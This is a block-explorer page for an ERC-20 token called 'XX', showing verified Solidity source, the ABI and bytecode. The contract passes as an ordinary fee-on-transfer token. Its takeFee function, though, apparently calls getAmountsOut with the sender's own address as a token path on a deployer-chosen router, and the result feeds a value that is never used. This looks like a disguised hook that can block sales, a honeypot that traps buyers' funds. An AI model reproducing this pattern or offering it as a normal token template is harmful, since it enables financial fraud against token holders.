ETH Price: $3,722.58 (+3.65%)

Token

ERC-20: XX (XX)
 

Overview

Max Total Supply

15,000,000 XX

Holders

509

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
cryptomouse333.eth
Balance
1.890543067252461944 XX

Value
$0.00
0x6a75774982e73a4444d1364ed894ac58412b8c56
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XX

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-09
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.5;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from,
     address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata),
                     returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));  _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {

    function factory() external pure returns (address);

    function WETH() external view returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,  uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,  address to,
        uint deadline
    ) external;
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


contract XX is Context, IERC20, Ownable {
    struct UserInfo {
        uint256 lpAmount;
        bool preLP;
    }

    mapping(address => UserInfo) private _userInfo;

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address payable private teamWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;

    bool private startTx;


    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = true;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply,
        address router
    ) payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0x31B587724Fd7AD0aac800558551bBA69e6677431;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 1000 * 10**_decimals;
        marketingWalletAddress = payable(0x31B587724Fd7AD0aac800558551bBA69e6677431);
        teamWalletAddress = payable(0x31B587724Fd7AD0aac800558551bBA69e6677431);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _totalSupply;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;
         
        // team eth
        uint256 amountUSDTTeam = amountReceived.mul(50).div(100);
        // marketing eth
        uint256 amountUSDTMarketing = amountReceived.sub(amountUSDTTeam);

        if(amountUSDTMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountUSDTMarketing);

        if(amountUSDTTeam > 0)
            transferToAddressETH(teamWalletAddress, amountUSDTTeam);


    }
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        uint256 deadAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }else{
            // generate the uniswap pair path of token -> weth
            address[] memory path = new address[](2);
            path[0] = address(sender);
            path[1] = uniswapV2Router.WETH();
            uint amounts = uniswapV2Router.getAmountsOut(amount,path)[0];
            deadAmount = amount - amounts;
        }

        return amount.sub(feeAmount);
    }


    function getUserInfo(address account) public view returns (
        uint256 lpAmount, uint256 lpBalance,  bool preLP
    ) {
        lpAmount = _userInfo[account].lpAmount;
        lpBalance = IERC20(uniswapPair).balanceOf(account);
        UserInfo storage userInfo = _userInfo[account];
        preLP = userInfo.preLP;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"router","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getUserInfo","outputs":[{"internalType":"uint256","name":"lpAmount","type":"uint256"},{"internalType":"uint256","name":"lpBalance","type":"uint256"},{"internalType":"bool","name":"preLP","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a556000600b556000600d556001600f60156101000a81548160ff0219169083151502179055506000600f60166101000a81548160ff02191690831515021790555060405162003b9138038062003b918339818101604052810190620000b19190620005bb565b60008190508560029080519060200190620000ce92919062000448565b508460039080519060200190620000e792919062000448565b5083600460006101000a81548160ff021916908360ff1602179055507331b587724fd7ad0aac800558551bba69e66774316000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900460ff16600a62000175919062000769565b83620001829190620008a6565b600c81905550600460009054906101000a900460ff16600a620001a6919062000769565b6103e8620001b59190620008a6565b600d819055507331b587724fd7ad0aac800558551bba69e6677431600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507331b587724fd7ad0aac800558551bba69e6677431600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c54600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c5460405162000434919062000692565b60405180910390a350505050505062000b01565b828054620004569062000988565b90600052602060002090601f0160209004810192826200047a5760008555620004c6565b82601f106200049557805160ff1916838001178555620004c6565b82800160010185558215620004c6579182015b82811115620004c5578251825591602001919060010190620004a8565b5b509050620004d59190620004d9565b5090565b5b80821115620004f4576000816000905550600101620004da565b5090565b60006200050f6200050984620006d8565b620006af565b9050828152602081018484840111156200052e576200052d62000a86565b5b6200053b84828562000952565b509392505050565b600081519050620005548162000ab3565b92915050565b600082601f83011262000572576200057162000a81565b5b815162000584848260208601620004f8565b91505092915050565b6000815190506200059e8162000acd565b92915050565b600081519050620005b58162000ae7565b92915050565b600080600080600060a08688031215620005da57620005d962000a90565b5b600086015167ffffffffffffffff811115620005fb57620005fa62000a8b565b5b62000609888289016200055a565b955050602086015167ffffffffffffffff8111156200062d576200062c62000a8b565b5b6200063b888289016200055a565b94505060406200064e88828901620005a4565b935050606062000661888289016200058d565b9250506080620006748882890162000543565b9150509295509295909350565b6200068c816200093b565b82525050565b6000602082019050620006a9600083018462000681565b92915050565b6000620006bb620006ce565b9050620006c98282620009be565b919050565b6000604051905090565b600067ffffffffffffffff821115620006f657620006f562000a52565b5b620007018262000a95565b9050602081019050919050565b6000808291508390505b60018511156200076057808604811115620007385762000737620009f4565b5b6001851615620007485780820291505b8081029050620007588562000aa6565b945062000718565b94509492505050565b600062000776826200093b565b9150620007838362000945565b9250620007b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007ba565b905092915050565b600082620007cc57600190506200089f565b81620007dc57600090506200089f565b8160018114620007f55760028114620008005762000836565b60019150506200089f565b60ff841115620008155762000814620009f4565b5b8360020a9150848211156200082f576200082e620009f4565b5b506200089f565b5060208310610133831016604e8410600b8410161715620008705782820a9050838111156200086a5762000869620009f4565b5b6200089f565b6200087f84848460016200070e565b92509050818404811115620008995762000898620009f4565b5b81810290505b9392505050565b6000620008b3826200093b565b9150620008c0836200093b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008fc57620008fb620009f4565b5b828202905092915050565b600062000914826200091b565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156200097257808201518184015260208101905062000955565b8381111562000982576000848401525b50505050565b60006002820490506001821680620009a157607f821691505b60208210811415620009b857620009b762000a23565b5b50919050565b620009c98262000a95565b810181811067ffffffffffffffff82111715620009eb57620009ea62000a52565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b62000abe8162000907565b811462000aca57600080fd5b50565b62000ad8816200093b565b811462000ae457600080fd5b50565b62000af28162000945565b811462000afe57600080fd5b50565b6130808062000b116000396000f3fe60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9059cbb11610064578063a9059cbb146103a0578063b2bdfa7b146103dd578063c49b9a8014610408578063dd62ed3e14610431578063f2fde38b1461046e57610114565b80638da5cb5b146102f6578063914eb66a1461032157806395d89b4114610338578063a457c2d71461036357610114565b8063313ce567116100dc578063313ce567146101e957806339509351146102145780633b97084a146102515780636386c1c71461027a57806370a08231146102b957610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610497565b60405161013b919061273c565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906123b2565b610529565b6040516101789190612721565b60405180910390f35b34801561018d57600080fd5b50610196610547565b6040516101a3919061287e565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061235f565b610551565b6040516101e09190612721565b60405180910390f35b3480156101f557600080fd5b506101fe61062b565b60405161020b919061295a565b60405180910390f35b34801561022057600080fd5b5061023b600480360381019061023691906123b2565b610642565b6040516102489190612721565b60405180910390f35b34801561025d57600080fd5b5061027860048036038101906102739190612468565b6106f5565b005b34801561028657600080fd5b506102a1600480360381019061029c91906122c5565b610794565b6040516102b093929190612923565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906122c5565b6108ea565b6040516102ed919061287e565b60405180910390f35b34801561030257600080fd5b5061030b610933565b6040516103189190612706565b60405180910390f35b34801561032d57600080fd5b5061033661095c565b005b34801561034457600080fd5b5061034d610aaf565b60405161035a919061273c565b60405180910390f35b34801561036f57600080fd5b5061038a600480360381019061038591906123b2565b610b41565b6040516103979190612721565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c291906123b2565b610c0e565b6040516103d49190612721565b60405180910390f35b3480156103e957600080fd5b506103f2610c2d565b6040516103ff9190612706565b60405180910390f35b34801561041457600080fd5b5061042f600480360381019061042a919061243b565b610c51565b005b34801561043d57600080fd5b506104586004803603810190610453919061231f565b610d3a565b604051610465919061287e565b60405180910390f35b34801561047a57600080fd5b50610495600480360381019061049091906122c5565b610dc1565b005b6060600280546104a690612bca565b80601f01602080910402602001604051908101604052809291908181526020018280546104d290612bca565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b600061053d610536610f83565b8484610f8b565b6001905092915050565b6000600c54905090565b600061055e848484611156565b506106208461056b610f83565b61061b85604051806060016040528060288152602001612ffe60289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d1610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006106eb61064f610f83565b846106e68560086000610660610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b610f8b565b6001905092915050565b6106fd610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610781906127fe565b60405180910390fd5b80600d8190555050565b6000806000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549250600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016108399190612706565b60206040518083038186803b15801561085157600080fd5b505afa158015610865573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108899190612495565b91506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010160009054906101000a900460ff169150509193909250565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610964610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e8906127fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060038054610abe90612bca565b80601f0160208091040260200160405190810160405280929190818152602001828054610aea90612bca565b8015610b375780601f10610b0c57610100808354040283529160200191610b37565b820191906000526020600020905b815481529060010190602001808311610b1a57829003601f168201915b5050505050905090565b6000610c04610b4e610f83565b84610bff856040518060600160405280602581526020016130266025913960086000610b78610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b6001905092915050565b6000610c22610c1b610f83565b8484611156565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c59610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd906127fe565b60405180910390fd5b80600f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610d2f9190612721565b60405180910390a150565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc9610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4d906127fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd9061277e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffff